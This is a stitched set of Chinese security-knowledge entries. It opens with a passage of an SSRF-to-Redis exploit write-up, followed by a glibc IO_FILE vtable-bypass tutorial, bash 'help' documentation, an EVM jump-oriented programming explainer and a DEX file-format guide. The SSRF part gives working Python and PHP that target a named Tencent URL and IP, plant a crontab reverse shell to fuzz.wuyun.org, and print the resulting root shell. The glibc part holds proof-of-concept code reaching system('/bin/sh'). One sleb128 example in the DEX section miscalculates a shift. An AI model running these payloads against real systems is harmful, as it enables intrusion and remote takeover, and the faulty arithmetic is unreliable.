'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url={payload}'.format( payload=payload) # len({"ret":1}) == 9 if len(requests.get(url).content) != 9: print ip, port, 'OPEN', requests.get(url).content ``` ### 2.2 对已开放的服务进行漏洞利用 这里描述的利用内容,使用的dict协议,dict提供了一个非常棒的功能 `dict://serverip:port/name:data`, 向服务器的端口请求 name data,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利。 REDIS Server的命令接收格式为: `command var data \r\n` 实战利用代码如下: ``` python #!/usr/bin/env python # encoding: utf-8 # email: ringzero@0x557.org import requests host = '42.62.67.198' port = '6379' bhost = 'fuzz.wuyun.org' bport = '8080' vul_httpurl = 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=' _location = 'http://fuzz.wuyun.org/302.php' shell_location = 'http://fuzz.wuyun.org/shell.php' #1 flush db _payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #2 set crontab command _payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format( host = host, port = port, bhost = bhost, bport = bport) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(shell_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #3 config set dir /var/spool/cron/ _payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #4 config set dbfilename root _payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #5 save to file _payload = '?s=dict%26ip={host}%26port={port}%26data=save'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content ``` shell.php 辅助脚本 [shell.php] ``` php <?php $ip = $_GET['ip']; $port = $_GET['port']; $bhost = $_GET['bhost']; $bport = $_GET['bport']; $scheme = $_GET['s']; header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26 \\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?> ``` ## 3. 漏洞证明 配置利用变量 `reinhard$ python wyssrf.py ` Usage: ``` wyssrf config -u <url> -p <param> [--data <data>] wyssrf config --show wyssrf plugin --list wyssrf exploit --list wyssrf (-i | --interactive) wyssrf (-h | --help | --version) ``` `reinhard$ python wyssrf.py config -u 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://wuyun.org' -p url` [INFO] config file save success... ### 3.1 针对redis进行漏洞利用 根据上面的原理做成利用脚本 `reinhard$ python wyssrf.py -i` Welcome to WYSSRF Exploit FrameWork (type help for a list of commands.) console> show config ``` { "url": "http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://wuyun.org", "method": "GET", "param": "url" } ``` console> redis -h Usage: redis shell <host> <port> <bhost> <bport> [--type=<TYPE>] redis ssh <host> <port> <keyfile> [--type=<TYPE>] Options: -t, --type=<TYPE> request protocol type [default: dict] console> redis shell 42.62.67.198 6379 fuzz.wuyun.org 8080 --type dict ``` [INFO] Exploit 42.62.67.198 6379 Start... [INFO] #1 flush redis db [INFO] #2 set crontab command [INFO] #3 config set dir /var/spool/cron/ [INFO] #4 config set dbfilename root [INFO] #5 save to file [INFO] Exploit Successs... console> quit Good Bye! ``` 查询远程Redis服务器的信息 ``` reinhard$ redis-cli -h 42.62.67.198 config get dir 1) "dir" 2) "/var/spool/cron" reinhard$ redis-cli -h 42.62.67.198 config get dbfilename 1) "dbfilename" 2) "root" ``` 成功获得Redis服务器Shell ``` [root@fuzz.wuyun.org]# nc -l -vv 8080 Connection from 42.62.67.198 port 8080 [tcp/webcache] accepted bash: no job control in this shell [root@10-6-17-197 ~]# id id uid=0(root) gid=0(root) groups=0(root) [root@10-6-17-197 ~]# cat /var/spool/cron/root cat /var/spool/cron/root REDIS0006™@B */1 * * * * /bin/bash -i >& /dev/tcp/fuzz.wuyun.org/8080 0>&1 [root@10-6-17-197 ~]# ``` ## Reference [SSRF绕过方法总结](https://www.secpulse.com/archives/65832.html)
sec-knowleage
### glibc 2.24下 IO_FILE 的利用介绍 在2.24版本的glibc中,全新加入了针对IO_FILE_plus的vtable劫持的检测措施,glibc 会在调用虚函数之前首先检查vtable地址的合法性。首先会验证vtable是否位于_IO_vtable段中,如果满足条件就正常执行,否则会调用_IO_vtable_check做进一步检查。 ```C /* Check if unknown vtable pointers are permitted; otherwise, terminate the process. */ void _IO_vtable_check (void) attribute_hidden; /* Perform vtable pointer validation. If validation fails, terminate the process. */ static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr = (uintptr_t) vtable; uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; } ``` 计算 `section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;`,紧接着会判断 vtable - __start___libc_IO_vtables 的 offset ,如果这个 offset 大于 section_length ,即大于 `__stop___libc_IO_vtables - __start___libc_IO_vtables` 那么就会调用 `_IO_vtable_check()` 这个函数。 ```C void attribute_hidden _IO_vtable_check (void) { #ifdef SHARED /* Honor the compatibility flag. */ void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables); #ifdef PTR_DEMANGLE PTR_DEMANGLE (flag); #endif if (flag == &_IO_vtable_check) return; /* In case this libc copy is in a non-default namespace, we always need to accept foreign vtables because there is always a possibility that FILE * objects are passed across the linking boundary. */ { Dl_info di; struct link_map *l; if (_dl_open_hook != NULL || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE)) return; } #else /* !SHARED */ /* We cannot perform vtable validation in the static dlopen case because FILE * handles might be passed back and forth across the boundary. Therefore, we disable checking in this case. */ if (__dlopen != NULL) return; #endif __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n"); } ``` 如果vtable是非法的,那么会引发abort。 这里的检查使得以往使用vtable进行利用的技术很难实现 ### fileno 与缓冲区的相关利用 在vtable难以被利用之后,利用的关注点从vtable转移到_IO_FILE结构内部的域中。 前面介绍过_IO_FILE在使用标准IO库时会进行创建并负责维护一些相关信息,其中有一些域是表示调用诸如fwrite、fread等函数时写入地址或读取地址的,如果可以控制这些数据就可以实现任意地址写或任意地址读。 ``` struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; int _flags2; _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ }; ``` 因为进程中包含了系统默认的三个文件流stdin\stdout\stderr,因此这种方式可以不需要进程中存在文件操作,通过scanf\printf一样可以进行利用。 在_IO_FILE中_IO_buf_base表示操作的起始地址,_IO_buf_end表示结束地址,通过控制这两个数据可以实现控制读写的操作。 ### fileno 与缓冲区的相关利用示例 简单的观察一下_IO_FILE对于调用scanf的作用 ``` #include "stdio.h" char buf[100]; int main() { char stack_buf[100]; scanf("%s",stack_buf); scanf("%s",stack_buf); } ``` 在执行程序第一次使用stdin之前,stdin的内容还未初始化是空的 ``` 0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2088 0x0000000000000000 0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff 0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790 0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000 0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0 <== vtable ``` 调用scanf之后可以看到_IO_read_ptr、_IO_read_base、_IO_read_end、_IO_buf_base、_IO_buf_end等域都被初始化 ``` 0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2288 0x0000000000602013 0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014 0x0000000000602010 0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010 0x0000000000602010 0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000602010 0x0000000000602010 0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000602410 0x0000000000000000 0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff 0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790 0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000 0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000 0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0 ``` 进一步思考可以发现其实stdin初始化的内存是在堆上分配出来的,在这里堆的基址是0x602000,因为之前没有堆分配因此缓冲区的地址也是0x602010 ``` Start End Offset Perm Path 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/vb/桌面/tst/1/t1 0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/vb/桌面/tst/1/t1 0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/vb/桌面/tst/1/t1 0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap] ``` 分配的堆大小是0x400个字节,正好对应于_IO_buf_base~_IO_buf_end 在进行写入后,可以看到缓冲区中有我们写入的数据,之后目的地址栈中的缓冲区也会写入数据 ``` 0x602000: 0x0000000000000000 0x0000000000000411 <== 分配0x400大小 0x602010: 0x000000000a333231 0x0000000000000000 <== 缓冲数据 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 ``` 接下来我们尝试修改_IO_buf_base来实现任意地址读写,全局缓冲区buf的地址是0x7ffff7dd2740。修改_IO_buf_base和_IO_buf_end到缓冲区buf的地址 ``` 0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2288 0x0000000000602013 0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014 0x0000000000602010 0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010 0x0000000000602010 0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000602010 0x00007ffff7dd2740 <== _IO_buf_base 0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x00007ffff7dd27c0 0x0000000000000000 <== _IO_buf_end 0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff 0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790 0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000 0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000 0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0 ``` 之后scanf的读入数据就会写入到0x7ffff7dd2740的位置 ``` 0x7ffff7dd2740 <buf>: 0x00000a6161616161 0x0000000000000000 0x7ffff7dd2750 <buffer>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2760 <buffer>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2770 <buffer>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2780 <buffer>: 0x0000000000000000 0x0000000000000000 ``` ### _IO_str_jumps -> overflow介绍 `libc`中不仅仅只有`_IO_file_jumps`这么一个`vtable`,还有一个叫`_IO_str_jumps`的 ,这个 `vtable` 不在check范围之内。 ```c const struct _IO_jump_t _IO_str_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) }; ``` 如果我们能设置文件指针的 `vtable` 为 `_IO_str_jumps` 么就能调用不一样的文件操作函数。这里以`_IO_str_overflow`为例子: ```c int _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only = c == EOF; _IO_size_t pos; if (fp->_flags & _IO_NO_WRITES)// pass return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in { if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100; if (new_size < old_blen)//pass 一般会通过 return EOF; new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//target [fp+0xe0] if (new_buf == NULL) { /* __ferror(fp) = 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf); /* Make sure _IO_setb won't try to delete _IO_buf_base. */ fp->_IO_buf_base = NULL; } memset (new_buf + old_blen, '\0', new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; } libc_hidden_def (_IO_str_overflow) ``` 利用以下代码来劫持程序流程 ```c new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); ``` 几个条件 bypass: 1. `1. fp->_flags & _IO_NO_WRITES为假` 2. `2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))` 3. `3. fp->_flags & _IO_USER_BUF(0x01)为假` 4. `4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数` 5. `5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址` 6. `6. fp+0xe0指向system地址` 构造: ``` _flags = 0 _IO_write_base = 0 _IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1 _IO_buf_end = (binsh_in_libc_addr -100) / 2 _freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1 vtable = _IO_str_jumps - 0x18 ``` ### _IO_str_jumps -> overflow示例 修改了 how2heap 的 houseoforange 代码,可以自己动手调试一下。 ```c #include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; // unsorted bin attack p1 = malloc(0x400-16); top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; p2 = malloc(0x1000); io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10; // _IO_str_overflow conditions char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack // top[0] = ~1; // top[0] &= ~8; top[0] = 0; top[4] = 0; // write_base top[5] = ((size_t)&binsh_in_libc-100)/2 + 1; // write_ptr top[7] = 0; // buf_base top[8] = top[5] - 1; // buf_end // house_of_orange conditions top[1] = 0x61; top[20] = (size_t) &top[18]; top[21] = 2; top[22] = 3; top[24] = -1; top[27] = (size_t)stdin - 0x3868-0x18; // _IO_str_jumps地址 top[28] = (size_t) &winner; /* Finally, trigger the whole chain by calling malloc */ malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; } ``` 同时 house of pig 中的利用也是比较典型的例子,注意到满足 ```cpp pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (size_t) (_IO_blen (fp) + flush_only)) ``` 的时候,会先后执行 ```cpp size_t old_blen = _IO_blen (fp); // #define _IO_blen (fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base) new_buf = malloc (new_size); memcpy (new_buf, old_buf, old_blen); free (old_buf); ``` 三个操作,伪造 _IO_FILE 并劫持 vtable 为 _IO_str_jumps 通过一个 large bin attack 就可以轻松实现,并且我们上面三个语句中的 new_size,old_buf 和 old_blen 是我们可控的,这个函数就可以实现以下三步 1. 调用 malloc,实现从 tcache 中分配 chunk,在这里就可以把我们之前放入的 __free_hook fake chunk 申请出来 2. 将一段可控长度可控内容的内存段拷贝置 malloc 得来的 chunk 中(可以修改 __free_hook 为 system) 3. 调用 free,且参数为内存段起始地址("/bin/sh\x00",getshell) 也就是只要我们构造得当,执行该函数即可 getshell。 ### _IO_str_jumps -> finish介绍 原理与上面的 _IO_str_jumps -> overflow 类似 ```c void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //[fp+0xe8] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); } ``` 条件: 1. _IO_buf_base不为空 2. _flags & _IO_USER_BUF(0x01) 为假 构造如下: ```bash _flags = (binsh_in_libc + 0x10) & ~1 _IO_buf_base = binsh_addr _freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1 vtable = _IO_str_finish - 0x18 fp+0xe8 -> system_addr ``` ### _IO_str_jumps -> finish示例 修改了 how2heap 的 houseoforange 代码,可以自己动手调试一下。 ```c #include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; // unsorted bin attack p1 = malloc(0x400-16); top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; p2 = malloc(0x1000); io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10; // _IO_str_finish conditions char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack top[0] = ((size_t) &binsh_in_libc + 0x10) & ~1; top[7] = ((size_t)&binsh_in_libc); // buf_base // house_of_orange conditions top[1] = 0x61; top[5] = 0x1 ; //_IO_write_ptr top[20] = (size_t) &top[18]; top[21] = 2; top[22] = 3; top[24] = -1; top[27] = (size_t) stdin - 0x33f0 - 0x18; top[29] = (size_t) &winner; top[30] = (size_t) &top[30]; malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; } ```
sec-knowleage
help === 该命令是bash内建命令,用于显示bash内建命令的帮助信息。 ## 补充说明 **help命令** help命令只能显示bash内建命令的帮助信息,而对于外部命令的帮助信息只能使用man或者info命令查看。 ### 语法 ```shell help(选项)(参数) ``` ### 选项 ```shell -d:显示内建命令的简要描述。 -m:按照man手册的格式输出内建命令的帮助信息。 -s:仅输出内建命令的命令格式。 不指定选项时:输出的帮助信息类似于-m选项,但是缺少段落名称和'SEE ALSO','IMPLEMENTATION'部分。 ``` ### 参数 bash内建命令(可以为多个,请用空格分隔开)。 ### 常见问题 Q:有哪些命令是bash内建命令?我如何判断一个命令是否为bash内建命令? A:您可以在终端使用 'man builtin' 或 'man builtins' 来获取;您可以查看bash内建命令 'type' 的帮助信息。 Q:那么help命令本身的帮助信息如何获取? A:把help作为参数传给help命令;) Q:为什么echo也可以用 'man echo' 来查看帮助信息? A:因为除了bash内建的echo,GNU/linux的coreutils包里也有该命令;在echo的man手册中,DESCRIPTION段落的 'NOTE' 也提示了和同名内建的不同。 PS:当你在shell脚本里定义了一个叫 'echo' 的函数,那么调用的时候优先级会如何呢? 请参考 'builtin' 命令 Q:我需要获得更多的bash的相关帮助信息 A:限于篇幅和主题,您可以在终端执行 'man bash' , 'info bash' ,[访问bash官方网站](http://www.gnu.org/software/bash/),以及搜索引擎等。 ### 实例 使用help命令显示shell内部shopt命令的帮助信息,输入如下命令: ```shell help shopt #获取shopt命令的帮助信息 shopt: shopt [-pqsu] [-o long-option] optname [optname...] Toggle the values of variables controlling optional behavior. The -s flag means to enable (set) each OPTNAME; the -u flag unsets each OPTNAME. The -q flag suppresses output; the exit status indicates whether each OPTNAME is set or unset. The -o option restricts the OPTNAMEs to those defined for use with `set -o'. With no options, or with the -p option, a list of all settable options is displayed, with an indication of whether or not each is set. ```
sec-knowleage
### Jump Oriented Programming原理 类似于 pwn 中的 ROP,EVM 中也有 JOP(Jump Oriented Programming)。JOP 的思想和 ROP 是相似的:串联起一个个小的代码片段(gadget),达成一定的目的。 涉及到JOP 的是如下三个字节码: - 0x56 JUMP - 0x57 JUMPI - 0x5B JUMPDEST 在 EVM 中的无条件跳转 `JUMP` 和条件跳转 `JUMPI` 的目的地都必须是 `JUMPDEST`,这点和 ROP 可以任选返回地址不同。 另外需要注意的是,EVM 虽然使用的是变长指令,但是不允许像 ROP 那样跳到一条指令的中间。比如 64 位的 `pop r15` 是 `A_`,ROP 时直接落在第二个字节则可以当成 `pop rdi` 使用;EVM `PUSH1 0x5B` 中的 `0x5B` 则不能当作 `JUMPDEST` 使用。 通常需要用到 JOP 的合约在编写时都夹杂着内联汇编的后门,需要人工逆向识别查找两样东西: 1. 通常控制流可达、可以控制跳转地址的起点 1. `JUMPDEST` 之后实现了一些特殊功能,然后再接一个 `JUMP` 指令的各种 gadget gadget 需要实现的功能因题目要求或考察点而异,比如要实现一个外部合约的调用,就要先按照顺序将各种偏移、gas等数据布置在栈上。在 JOP 的最后需要一个 `JUMPDEST; STOP` 作为结束的着陆点,否则一旦执行出错就会导致交易回滚。 除了以上的三个字节码,EIP-2315 还提出了 `BEGINSUB`、`RETURNSUB`、`JUMPSUB` 三个字节码。其中 `JUMPSUB` 和 `JUMP` 相似,只是跳转的目的地必须是 `BEGINSUB`;而 `RETURNSUB` 相当于 ROP 中的 `ret`,对目标地址没有限制。EIP-2315 在柏林升级前曾被列入升级列表,不久后又被移除,目前仍处于草案阶段。
sec-knowleage
# DEX文件 ## 基本介绍 Google 为 Android 中的 Java 代码专门设计了对应的可执行文件 DEX(Dalvik eXecutable File),适用于手机这样的内存低和处理器性能较差的移动平台。下面,我们就来主要介绍一下DEX文件的格式。 ## DEX 文件格式 ### 数据类型定义 在介绍 DEX 文件的具体结构之前,我们先来关注一下 DEX 文件中所使用的一些基础的数据类型。 | 名称 | 说明 | | --------- | -------------------------- | | byte | 8 位有符号整数 | | ubyte | 8 位无符号整数 | | short | 16 位有符号整数,采用小端字节序 | | ushort | 16 位无符号整数,采用小端字节序 | | int | 32 位有符号整数,采用小端字节序 | | uint | 32 位无符号整数,采用小端字节序 | | long | 64 位有符号整数,采用小端字节序 | | ulong | 64 位无符号整数,采用小端字节序 | | sleb128 | 有符号 LEB128,可变长度(见下文) | | uleb128 | 无符号 LEB128,可变长度(见下文) | | uleb128p1 | 无符号 LEB128 加 `1`,可变长度(见下文) | 其中之所以会采用变长的数据类型是因为希望可以尽可能减少可执行文件的占用空间,比如说如果一个字符串的长度为5,那么我们其实只需要一个字节即可,但是我们又不希望直接使用`u1` 来进行定义相应类型,因为这样会把所有的字符串长度都限制在相应的范围内。 可变长度的类型其实都是基于 LEB128(Little-Endian Base) 类型的,可以用于表示 32 位大小的 int 数字,其根据所要表示的数字的大小来选择合适的长度。如下图所示,其中每个字节的最高位表示是否使用下一个字节,1 表示使用,0 表示不使用。故而每个字节其实只有 7 个有效的 bit 位用来表示相应的数字。如果有一个 LEB128 类型的变量使用了 5 个字节,并且第五个字节的最高位为 1 ,那说明出现了问题。 dalvik中读取无符号leb128类型的函数如下 ```c++ DEX_INLINE int readUnsignedLeb128(const u1** pStream) { const u1* ptr = *pStream; int result = *(ptr++); //取第一个字节 if (result > 0x7f) { //如果第1个字节大于0x7f,表示第一个字节最高位为1 int cur = *(ptr++); //第2个字节 result = (result & 0x7f) | ((cur & 0x7f) << 7); //前两个字节 if (cur > 0x7f) { cur = *(ptr++); result |= (cur & 0x7f) << 14; if (cur > 0x7f) { cur = *(ptr++); result |= (cur & 0x7f) << 21; if (cur > 0x7f) { /* * Note: We don't check to see if cur is out of * range here, meaning we tolerate garbage in the * high four-order bits. */ cur = *(ptr++); result |= cur << 28; } } } } *pStream = ptr; return result; } ``` 举个例子,假如我们要计算c0 83 92 25的uleb128值,如下 - 第一个字节的最高位为1,所以有第二个字节。result1 = 0xc0 & 0x7f=0x40 - 类似的,第二个字节对应的result2 = (0x83 & 0x7f)<<7 = 0x180 - 第三个字节对应的result3 = (0x92 & 0x7f) <<14 = 0x48000 - 第四个字节对应的result4 = (0x25)<<21 = 0x4a00000 - 该字节流对应的值为result1+result2+result3+result4 = 0x4a481c0 dalvik中读取有符号的LEB128类型的数字如下 ```c++ DEX_INLINE int readSignedLeb128(const u1** pStream) { const u1* ptr = *pStream; int result = *(ptr++); if (result <= 0x7f) { result = (result << 25) >> 25; //符号扩展 } else { int cur = *(ptr++); result = (result & 0x7f) | ((cur & 0x7f) << 7); if (cur <= 0x7f) { result = (result << 18) >> 18; //符号扩展 } else { cur = *(ptr++); result |= (cur & 0x7f) << 14; //符号扩展 if (cur <= 0x7f) { result = (result << 11) >> 11; //符号扩展 } else { cur = *(ptr++); result |= (cur & 0x7f) << 21; if (cur <= 0x7f) { result = (result << 4) >> 4; //符号扩展 } else { /* * Note: We don't check to see if cur is out of * range here, meaning we tolerate garbage in the * high four-order bits. */ cur = *(ptr++); result |= cur << 28; } } } } *pStream = ptr; return result; } ``` 举个例子,假如我们要计算d1 c2 b3 40的sleb128值,计算过程如下 - result1 = 0xd1 & 0x7f = 0x51 - result2 = (0xc2 & 0x7f) <<7 = 0x21000 - result3 = (0xb3 & 0x7f) <<14 =0xcc000 - result4 = (0x40)<< 21 = 0x8000000 - 最后结果(r1+r2+r3+r4)<< 4 >>4 = 0xf80ce151 